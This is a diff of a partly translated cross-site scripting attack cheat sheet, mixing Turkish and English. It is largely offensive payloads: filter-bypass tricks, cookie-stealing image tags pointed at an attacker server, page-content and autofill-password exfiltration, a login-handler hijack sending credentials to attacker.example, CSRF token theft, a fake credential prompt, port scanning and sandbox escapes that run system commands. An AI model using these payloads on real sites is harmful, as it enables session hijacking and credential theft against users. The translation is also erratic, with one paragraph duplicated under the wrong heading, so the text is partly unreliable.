@@ -599,7 +601,7 @@ eval(8680439..toString(30))(983801..toString(36))
 #!This is a 1 line comment, but "#!" must to be at the beggining of the first line
 -->This is a 1 line comment, but "-->" must to be at the beggining of the first line
 ```
-**JavaScript new lines (buradan** [**JavaScript new line**](#javascript-new-lines) **trick)**
+**JavaScript yeni satırlar (kaynak** [**JavaScript new line**](#javascript-new-lines) **hile)**
 ```javascript
 //Javascript interpret as new line these chars:
 String.fromCharCode(10)
@@ -611,7 +613,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScript boşlukları**
+**JavaScript boşluk karakterleri**
 ```javascript
 log=[];
 function funct(){}
@@ -635,7 +637,7 @@ console.log(log)
 
 //# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
 ```
-**JavaScript parantez olmadan**
+**JavaScript parantezsiz**
 ```javascript
 // By setting location
 window.location='javascript:alert\x281\x29'
@@ -714,7 +716,7 @@ try{throw onerror=alert}catch{throw 1}
 - [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
 - [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
 
-**Keyfi fonksiyon (alert) çağrısı**
+**Herhangi bir fonksiyon (alert) çağrısı**
 ```javascript
 //Eval like functions
 eval('ale'+'rt(1)')
@@ -774,24 +776,24 @@ top['al\x65rt'](1)
 top[8680439..toString(30)](1)
 <svg><animate onbegin=alert() attributeName=x></svg>
 ```
-## **DOM vulnerabilities**
+## **DOM zaafiyetleri**
 
-Bir saldırgan tarafından kontrol edilen verileri (ör. `location.href`) güvensiz şekilde kullanan **JS code** vardır. Bir saldırgan bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.\
-**açıklamanın genişlemesi nedeniyle** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
+There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.\
+**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
 
 
 {{#ref}}
 dom-xss.md
 {{#endref}}
 
-Orada DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl exploit edileceği hakkında ayrıntılı bir **açıklama** bulacaksınız.\
-Ayrıca, bahsedilen yazının **sonunda** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulabileceğinizi unutmayın.
+There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.\
+Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).
 
-### Upgrading Self-XSS
+### Self-XSS'i Yükseltme
 
 ### Cookie XSS
 
-Eğer payload'ı bir cookie içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer bir **vulnerable subdomain to XSS** bulursanız, bu XSS'i kötüye kullanarak tüm domaine bir cookie enjekte edebilir ve böylece ana domainde veya cookie XSS'e karşı savunmasız diğer alt alan adlarında cookie XSS'i tetikleyebilirsiniz. Bunun için cookie tossing attack kullanabilirsiniz:
+If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a **vulnerable subdomain to XSS**, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
 
 
 {{#ref}}
@@ -800,21 +802,21 @@ Eğer payload'ı bir cookie içinde göndererek bir XSS tetikleyebiliyorsanız,
 
 You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
 
-### Sending your session to the admin
+### Oturumunuzu admin'e gönderme
 
-Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin bu profili açarsa, zafiyeti tetiklemiş olur.
+Maybe an user can share his profile with the admin and if the self XSS is inside the profile of the user and the admin access it, he will trigger the vulnerability.
 
 ### Session Mirroring
 
-Eğer bazı self XSS'ler bulur ve web sayfası yöneticiler için **session mirroring** sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin sizin oturumunuzda gördüklerinizi kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun çerezlerini/oturumunu çalabilirsiniz.
+If you find some self XSS and the web page have a **session mirroring for administrators**, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
 
 You could make the **administrator trigger your self XSS** and steal his cookies/session.
 
-## Other Bypasses
+## Diğer Bypass'lar
 
 ### Normalised Unicode
 
-Sunucu (veya istemci tarafında) **reflected values**'ın **unicode normalized** edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
+You could check is the **reflected values** are being **unicode normalized** in the server (or in the client side) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
 
 ### PHP FILTER_VALIDATE_EMAIL flag Bypass
 ```javascript
@@ -822,16 +824,16 @@ Sunucu (veya istemci tarafında) **reflected values**'ın **unicode normalized**
 ```
 ### Ruby-On-Rails bypass
 
-**RoR mass assignment** nedeniyle tırnak işaretleri HTML'e eklenir ve böylece tırnak kısıtlaması atlanır ve etikete ek alanlar (onfocus) eklenebilir.\
+**RoR mass assignment** nedeniyle tırnak işaretleri HTML'e eklenir ve tırnak sınırlaması atlanır ve ek alanlar (onfocus) etiketin içine eklenebilir.\
 Form örneği ([from this report](https://hackerone.com/reports/709336)), eğer payload'u gönderirseniz:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-"Key","Value" çifti şu şekilde geri döndürülecek:
+"Key","Value" çifti şöyle geri yansıtılacaktır:
 ```
 {" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
 ```
-Sonra, onfocus özniteliği eklenecek ve XSS gerçekleşir.
+Sonra, onfocus özniteliği eklenecek ve XSS oluşur.
 
 ### Özel kombinasyonlar
 ```html
@@ -863,24 +865,24 @@ Sonra, onfocus özniteliği eklenecek ve XSS gerçekleşir.
 window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
 document['default'+'View'][`\u0061lert`](3)
 ```
-### 302 yanıtında header enjeksiyonu ile XSS
+### 302 yanıtında header injection ile XSS
 
-Eğer **inject headers in a 302 Redirect response** yapabildiğinizi fark ederseniz, tarayıcının **make the browser execute arbitrary JavaScript** sağlamayı deneyebilirsiniz. Bu **not trivial** çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden tek başına bir cross-site scripting payload işe yaramaz.
+Eğer **inject headers in a 302 Redirect response** yapabildiğinizi görürseniz, tarayıcının rastgele JavaScript’i çalıştırmasını **make the browser execute arbitrary JavaScript** denemelisiniz. Bu **not trivial** çünkü modern tarayıcılar HTTP yanıt durum kodu 302 ise HTTP yanıt gövdesini yorumlamaz; bu yüzden sadece bir cross-site scripting payload’u genelde işe yaramaz.
 
-In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.\
-Daha önce bilinen protokoller: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
+In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) bu kaynaklarda Location header içinde birkaç protokolü nasıl test edebileceğinizi ve bunlardan herhangi birinin gövde içindeki XSS payload’unu tarayıcının inceleyip çalıştırmasına izin verip vermediğini okuyabilirsiniz.\
+Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.
 
 ### Yalnız Harfler, Rakamlar ve Noktalar
 
-Eğer javascript'in çalıştıracağı **callback**'i yalnızca bu karakterlerle belirleyebiliyorsanız. [**Read this section of this post**](#javascript-function) bölümünü okuyarak bu davranışın nasıl suistimal edileceğini öğrenebilirsiniz.
+Eğer javascript’in **execute** edeceği **callback**’i bu karakterlerle sınırlı olarak belirleyebiliyorsanız. Bu davranışı nasıl suistimal edeceğinizi öğrenmek için [**Read this section of this post**](#javascript-function) bölümünü okuyun.
 
-### XSS için geçerli `<script>` Content-Types
+### Valid `<script>` Content-Types to XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer bir script'i `application/octet-stream` gibi bir **content-type** ile yüklemeye çalışırsanız, Chrome aşağıdaki hatayı fırlatır:
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Eğer `application/octet-stream` gibi bir **content-type** ile bir script yüklemeye çalışırsanız, Chrome aşağıdaki hatayı fırlatacaktır:
 
 > Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
 
-Chrome'un bir **loaded script**'i çalıştırmasını destekleyecek tek **Content-Type**'lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki const **`kSupportedJavascriptTypes`** içinde yer alanlardır.
+Chrome’un bir **loaded script**’i çalıştırmasına izin verecek tek **Content-Type**lar, [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) içindeki const **`kSupportedJavascriptTypes`** içinde yer alanlardır.
 ```c
 const char* const kSupportedJavascriptTypes[] = {
 "application/ecmascript",
@@ -902,16 +904,14 @@ const char* const kSupportedJavascriptTypes[] = {
 };
 
 ```
-### XSS için Script Türleri
+### Script Types to XSS
 
-(Kaynak: [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script'i yüklemek için hangi türler belirtilebilir?
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Peki, bir script yüklemek için hangi türler belirtilebilir?
 ```html
 <script type="???"></script>
 ```
-Cevap:
-
 - **module** (varsayılan, açıklamaya gerek yok)
-- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) bir araya getirip bir **`.wbn`** dosyası haline getirebileceğiniz bir özelliktir.
+- [**webbundle**](https://web.dev/web-bundles/): Web Bundles, bir dizi veriyi (HTML, CSS, JS…) **`.wbn`** dosyası halinde paketleyebileceğiniz bir özelliktir.
 ```html
 <script type="webbundle">
 {
@@ -938,9 +938,9 @@ import moment from "moment"
 import { partition } from "lodash"
 </script>
 ```
-Bu davranış, [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) içinde bir kütüphaneyi eval'e yeniden eşleyerek suiistimal etmek ve XSS tetiklemek için kullanıldı.
+Bu davranış, bir kütüphaneyi eval'e yeniden eşleyerek suistimal etmek ve böylece XSS tetiklemek için [**this writeup**](https://github.com/zwade/yaca/tree/master/solution) içinde kullanıldı.
 
-- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik esas olarak ön-renderleme nedeniyle ortaya çıkan bazı sorunları çözmek içindir. İşleyişi şu şekildedir:
+- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Bu özellik esas olarak pre-rendering'in yol açtığı bazı sorunları çözmek için tasarlanmıştır. İşleyişi şöyle:
 ```html
 <script type="speculationrules">
 {
@@ -965,15 +965,15 @@ Bu davranış, [**this writeup**](https://github.com/zwade/yaca/tree/master/solu
 - application/xml
 - text/xml
 - image/svg+xml
-- text/plain (?? listede yok ama sanırım bir CTF'de gördüm)
+- text/plain (?? not in the list but I think I saw this in a CTF)
 - application/rss+xml (off)
 - application/atom+xml (off)
 
-Diğer tarayıcılarda diğer **`Content-Types`** keyfi JS çalıştırmak için kullanılabilir, bak: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
+Diğer tarayıcılarda diğer **`Content-Types`** rastgele JS yürütmek için kullanılabilir, bak: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml İçerik Türü
+### xml Content Type
 
-Eğer sayfa text/xml content-type ile döndürülüyorsa, bir namespace belirterek keyfi JS çalıştırmak mümkün:
+Eğer sayfa text/xml content-type ile döndürülüyorsa bir namespace belirtilip rastgele JS çalıştırmak mümkündür:
 ```xml
 <xml>
 <text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
@@ -983,9 +983,9 @@ Eğer sayfa text/xml content-type ile döndürülüyorsa, bir namespace belirter
 ```
 ### Özel Değiştirme Kalıpları
 
-Şunun gibi bir ifade kullanıldığında: **`"some {{template}} data".replace("{{template}}", <user_input>)`**. Saldırgan bazı korumaları atlatmak için [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
+Bir şey şu şekilde kullanıldığında **`"some {{template}} data".replace("{{template}}", <user_input>)`**, saldırgan bazı korumaları atlatmak için [**special string replacements**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) kullanabilir: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
-For example in [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), this was used to **scape a JSON string** inside a script and execute arbitrary code.
+Örneğin [**this writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) içinde, bu bir script içinde **scape a JSON string** yapmak ve execute arbitrary code için kullanıldı.
 
 ### Chrome Cache to XSS
 
@@ -996,7 +996,7 @@ chrome-cache-to-xss.md
 
 ### XS Jails Escape
 
-Eğer yalnızca sınırlı bir karakter seti kullanabiliyorsanız, XSJail problemleri için bu diğer geçerli çözümlere bakın:
+Sadece sınırlı sayıda karakter (chars) kullanabiliyorsanız, XSJail problems için aşağıdaki diğer geçerli çözümlere göz atın:
 ```javascript
 // eval + unescape + regex
 eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@@ -1027,22 +1027,22 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-If **her şey undefined** ise ve güvenilmeyen kodu çalıştırmadan önce (ör. [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) keyfi güvenilmeyen kod yürütmesini suistimal etmek için faydalı nesneleri "hiçten" oluşturmak mümkün olur:
+Eğer güvenilmeyen kodu çalıştırmadan önce **her şey undefined** ise (ör. [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), keyfi güvenilmeyen kodun yürütülmesini kötüye kullanmak için faydalı nesneleri "hiçten" üretmek mümkün olabilir:
 
 - import() kullanarak
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Dolaylı olarak `require`'e erişme
+- `require`'e dolaylı erişim
 
-[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından bir fonksiyon içinde sarılır, şu şekilde:
+[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) modüller Node.js tarafından aşağıdaki gibi bir fonksiyon içine sarılır:
 ```javascript
 ;(function (exports, require, module, __filename, __dirname) {
 // our actual module code
 })
 ```
-Bu nedenle, eğer o modülden **başka bir fonksiyon çağırabiliyorsak**, o fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'e erişmek mümkün olur:
+Bu nedenle, eğer o modülden **başka bir fonksiyonu çağırabiliyorsak**, o fonksiyondan `arguments.callee.caller.arguments[1]` kullanarak **`require`**'e erişmek mümkündür:
 ```javascript
 ;(function () {
 return arguments.callee.caller.arguments[1]("fs").readFileSync(
@@ -1051,7 +1051,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
 )
 })()
 ```
-Önceki örneğe benzer şekilde, **use error handlers** kullanarak modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak mümkündür:
+Önceki örneğe benzer şekilde, modülün **wrapper**'ına erişmek ve **`require`** fonksiyonunu almak için **use error handlers** kullanmak mümkündür:
 ```javascript
 try {
 null.f()
@@ -1089,14 +1089,14 @@ console.log(req("child_process").execSync("id").toString())
 }
 trigger()
 ```
-### Obfuscation & Advanced Bypass
+### Obfuscation & Gelişmiş Bypass
 
-- **Tek bir sayfada farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
+- **Aynı sayfada farklı obfuscations:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
 - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
 - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
 - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
 - [http://www.jsfuck.com/](http://www.jsfuck.com)
-- Daha sofistike JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
+- Daha gelişmiş JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
 - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
 - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
 - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
@@ -1272,23 +1272,23 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o]
 ```
 ## XSS yaygın payloads
 
-### Birden fazla payloads bir arada
+### Birden fazla payload bir arada
 
 
 {{#ref}}
 steal-info-js.md
 {{#endref}}
 
-### Iframe Tuzağı
+### Iframe Trap
 
-Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini (formlarla gönderilen bilgiler dahil) çalın:
+Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemlerini çalın (formlarla gönderilen bilgiler dahil):
 
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Cookies'i Alma
+### Cookies Elde Etme
 ```javascript
 <img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 <img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
@@ -1311,9 +1311,9 @@ Kullanıcının iframe'den çıkmadan sayfada gezinmesini sağlayın ve eylemler
 <script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
 ```
 > [!TIP]
-> **Cookie üzerinde HTTPOnly flag ayarlıysa, JavaScript'ten cookies'e erişemezsiniz.** Ancak şanslıysanız bu korumayı aşmanın [bazı yolları](../hacking-with-cookies/index.html#httponly) burada mevcut.
+> Eğer cookie üzerinde HTTPOnly flag ayarlıysa, **JavaScript ile cookies'e erişemezsiniz**. Ancak şanslıysanız, bu korumayı atlatmanın [bazı yolları](../hacking-with-cookies/index.html#httponly) burada.
 
-### Steal Page Content
+### Sayfa İçeriğini Çal
 ```javascript
 var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
 var attacker = "http://10.10.14.8/exfil"
@@ -1326,7 +1326,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
 xhr.open("GET", url, true)
 xhr.send(null)
 ```
-### İç IP'leri Bul
+### Dahili IP'leri Bul
 ```html
 <script>
 var q = []
@@ -1404,13 +1404,13 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 ```
 _Kısa süreler yanıt veren bir portu gösterir_ _Daha uzun süreler yanıt olmadığını gösterir._
 
-Chrome'da yasaklanan portların listesini [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
+Chrome'da yasaklanan portların listesini [**here**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**here**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) inceleyin.
 
 ### Kimlik bilgileri isteme kutusu
 ```html
 <style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 ```
-### Otomatik doldurma şifrelerinin ele geçirilmesi
+### Otomatik doldurma şifrelerini yakalama
 ```javascript
 <b>Username:</><br>
 <input name=username id=username>
@@ -1421,11 +1421,13 @@ mode: 'no-cors',
 body:username.value+':'+this.value
 });">
 ```
-Parola alanına herhangi bir veri girildiğinde, kullanıcı adı ve parola saldırganın sunucusuna gönderilir; kullanıcı kaydedilmiş bir parola seçse bile ve hiçbir şey yazmasa bile kimlik bilgileri ex-filtrated olur.
+When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
 
-### Hijack form handlers ile kimlik bilgilerini exfiltrate etme (const shadowing)
+### Hijack form handlers to exfiltrate credentials (const shadowing)
 
-Eğer kritik bir handler (ör. `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha önce çalışıyorsa (ör. inline JS-in-JS sink aracılığıyla), handler'ı önden almak ve kilitlemek için aynı isimde bir `const` önceden tanımlayın. Daha sonraki function deklarasyonları bir `const` ismini yeniden bağlayamaz; böylece hook'ınız kontrolü elinde tutar:
+Parola alanına herhangi bir veri girildiğinde, username ve password saldırganın sunucusuna gönderilir; istemci kaydedilmiş bir parolayı seçse bile hiçbir şey yazmasa dahi kimlik bilgileri sızdırılacaktır.
+
+Eğer kritik bir handler (e.g., `function DoLogin(){...}`) sayfada daha sonra tanımlanıyorsa ve payload'unuz daha erken çalışıyorsa (e.g., via an inline JS-in-JS sink), aynı isimle bir `const` tanımlayarak handler'ı önceden ele geçirip kilitleyin. Daha sonraki function declarations bir `const` ismini yeniden bağlayamaz; böylece hook kontrolü elinde tutar:
 ```javascript
 const DoLogin = () => {
 const pwd  = Trim(FormInput.InputPassword.value);
@@ -1434,20 +1436,20 @@ fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURICom
 };
 ```
 Notlar
-- Bu, yürütme sırasına dayanır: enjeksiyonunuz meşru bildirimin (declaration) öncesinde çalışmalıdır.
-- Eğer payload'unuz `eval(...)` ile sarılıysa, `const/let` bağlamaları global olmaz. Gerçek bir global, yeniden bağlanamayan (non-rebindable) bağlama sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'taki dinamik `<script>` enjeksiyon tekniğini kullanın.
-- Anahtar kelime filtreleri kodu engellediğinde, yukarıda gösterildiği gibi Unicode kaçışlı tanımlayıcılar veya `eval(atob('...'))` ile teslim yöntemlerini birleştirin.
+- Bu, yürütme sırasına dayanır: injection'ınız meşru deklarasyondan önce çalışmalıdır.
+- Eğer payload'unuz `eval(...)` ile sarılmışsa, `const/let` bindings global olmaz. Gerçek bir true global, non-rebindable binding sağlamak için bölüm “Deliverable payloads with eval(atob()) and scope nuances”'daki dynamic `<script>` injection tekniğini kullanın.
+- Anahtar kelime filtreleri kodu engellediğinde, Unicode-escaped identifiers veya `eval(atob('...'))` delivery ile birleştirin, yukarıda gösterildiği gibi.
 
 ### Keylogger
 
-Github'da arama yaparken birkaç farklı örnek buldum:
+Sadece github'da arama yapınca birkaç farklı tane buldum:
 
 - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
 - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
 - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 - Ayrıca metasploit `http_javascript_keylogger`'ı da kullanabilirsiniz
 
-### CSRF tokenlarını çalma
+### Stealing CSRF tokens
 ```javascript
 <script>
 var req = new XMLHttpRequest();
@@ -1493,7 +1495,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
 
 ### Blind XSS payloads
 
-Ayrıca şunu kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com)
+Ayrıca şu adresi de kullanabilirsiniz: [https://xsshunter.com/](https://xsshunter.com)
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@@ -1560,7 +1562,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Gizli İçeriğe Erişim
 
-[**bu yazıda**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) öğrenilebileceği gibi, bazı değerler JS'den kaybolsa bile farklı nesnelerdeki JS özelliklerinde hâlâ bulunabilirler. Örneğin, bir REGEX girdisi, regex girdisinin değeri kaldırıldıktan sonra bile bulunabilir:
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) üzerinden öğrenilebileceği gibi bazı değerler JS'ten kaybolsa bile, bunları farklı nesnelerdeki JS attributes içinde bulmak hâlâ mümkün. Örneğin, bir REGEX input'u, regex inputunun değeri kaldırıldıktan sonra bile bulunabilir:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1577,44 +1579,44 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### Brute-Force Listesi
+### Brute-Force List
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS ile diğer zafiyetleri kötüye kullanma
+## XSS ile diğer zafiyetleri suistimal etme
 
-### Markdown'da XSS
+### XSS in Markdown
 
-Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Bak:
+Render edilecek Markdown kodu enjekte edilebilir mi? Belki XSS elde edebilirsiniz! Kontrol edin:
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS'ten SSRF'ye
+### XSS to SSRF
 
-**caching kullanan bir site** üzerinde XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'ye yükseltmeyi** deneyin; payload şu:
+Önbellekleme kullanan bir **sitede** XSS mi buldunuz? Edge Side Include Injection ile bunu **SSRF'e yükseltmeyi** deneyin; payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-Use it to bypass cookie restrictions, XSS filters and much more!\
-More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
+Cookie kısıtlamalarını, XSS filtrelerini ve çok daha fazlasını bypass etmek için kullanın!\
+Daha fazla bilgi için: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### Dinamik oluşturulan PDF'de XSS
+### Dinamik oluşturulan PDF'te XSS
 
-Eğer bir web sayfası kullanıcı kontrollü girdi kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan botu **kandırarak** **keyfi JS kodu çalıştırmasını** sağlayabilirsiniz.\
-Dolayısıyla, eğer **PDF oluşturucu bot** bazı **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır**, ve bu davranışı **suistimal ederek** bir **Server XSS** tetikleyebilirsiniz.
+Eğer bir web sayfası kullanıcı kontrollü girdilerle PDF oluşturuyorsa, PDF'yi oluşturan **bot'u kandırarak** **herhangi bir JS kodu çalıştırmasını** sağlayabilirsiniz.\
+Yani, eğer **PDF creator bot** herhangi bir **HTML** **tags** bulursa, bunları **interpret** edecek ve bu davranışı **abuse** ederek bir **Server XSS** tetikleyebilirsiniz.
 
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-Eğer HTML etiketleri enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir:
+Eğer HTML tags enjekte edemiyorsanız, **inject PDF data** denemeye değer olabilir:
 
 
 {{#ref}}
